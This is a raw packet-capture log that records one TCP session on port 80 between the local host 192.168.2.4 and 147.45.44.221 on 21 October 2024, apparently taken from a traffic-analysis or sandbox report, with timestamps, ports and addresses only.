Oct 21, 2024 08:47:30.949930906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949934959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949948072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949948072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949958086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.949963093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949980974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.949991941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.950002909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.950002909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.950016975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.950037003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.950038910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.950047970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.950063944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.950088024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.994716883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.994725943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.994813919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.995338917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.995374918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.995390892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.995408058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.995451927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.041246891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.041256905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.041266918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.041379929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049249887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049271107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049279928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049323082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049348116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049365044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049376011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049386978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049403906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049407005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049417973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049431086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049436092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049437046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049444914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049455881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049470901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049477100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049479961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049493074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049499989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049504995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049530029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049544096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049592972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049602985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049612045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049619913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049628973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049637079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049645901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049664021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049694061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.049720049 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.049731970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065429926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065445900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065455914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065464973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065475941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065485954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065494061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065499067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065509081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065519094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065529108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065530062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065541029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065548897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065552950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065562010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065566063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065576077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065578938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065598965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065603018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065620899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065623999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065634966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065644026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065644979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065655947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065663099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065670013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065680981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065681934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065692902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065704107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065705061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065718889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065722942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065733910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065746069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065747023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065758944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065771103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065772057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065779924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065783978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065795898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065805912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065818071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065828085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065838099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065841913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065857887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065876961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065879107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065890074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065898895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065902948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065907001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065915108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.065934896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065958023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.065990925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066000938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066010952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066035032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066054106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066063881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066065073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066075087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066098928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066122055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066359043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066369057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066380024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066400051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066426039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066443920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066453934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066462994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066487074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066509962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066574097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066591978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066603899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066612959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066625118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066628933 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066634893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066644907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066652060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066654921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066672087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066674948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066687107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066695929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066698074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066715956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066735983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066801071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066812038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066821098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066845894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066849947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066859961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066886902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066899061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066910982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066935062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066946983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.066968918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066982031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.066992044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067002058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067013979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067015886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067023039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067039967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067054033 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067116022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067154884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067159891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067174911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067197084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067205906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067291975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067301989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067312002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067322016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067322969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067333937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067338943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067343950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067347050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067356110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067368984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067375898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067393064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067397118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067403078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067405939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067425966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067437887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067437887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067450047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067461967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067466021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067472935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067485094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067486048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067502975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067512035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067522049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067533016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067536116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067544937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067558050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067562103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067574978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067581892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067584991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067595005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067595005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067616940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067620993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067629099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067641020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067641020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067652941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067662954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067667007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067691088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067702055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067725897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067737103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067747116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067756891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067764997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067787886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067815065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067852020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067883968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067899942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067910910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067922115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067922115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067928076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067948103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067955017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067960978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.067965984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067976952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.067989111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068003893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068013906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068170071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068185091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068193913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068222046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068236113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068247080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068257093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068284988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068305969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068308115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068319082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068337917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068348885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068356991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068360090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068372965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068381071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068399906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068423986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068456888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068466902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068476915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068501949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068519115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068525076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068531036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068542004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068564892 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068586111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068592072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068681955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068694115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068711042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068721056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068721056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068734884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068744898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068746090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068766117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068767071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068775892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068785906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068790913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068797112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068814039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068815947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068826914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068836927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068840981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068860054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068876982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068883896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068896055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068906069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068914890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068922043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068933010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068953037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068958044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068972111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068983078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.068990946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.068993092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069005013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069017887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069036961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069046974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069057941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069057941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069072962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069075108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069087029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069097996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069125891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.069130898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069143057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.069153070 CEST	80	49732	147.45.44.221	192.168.2.4
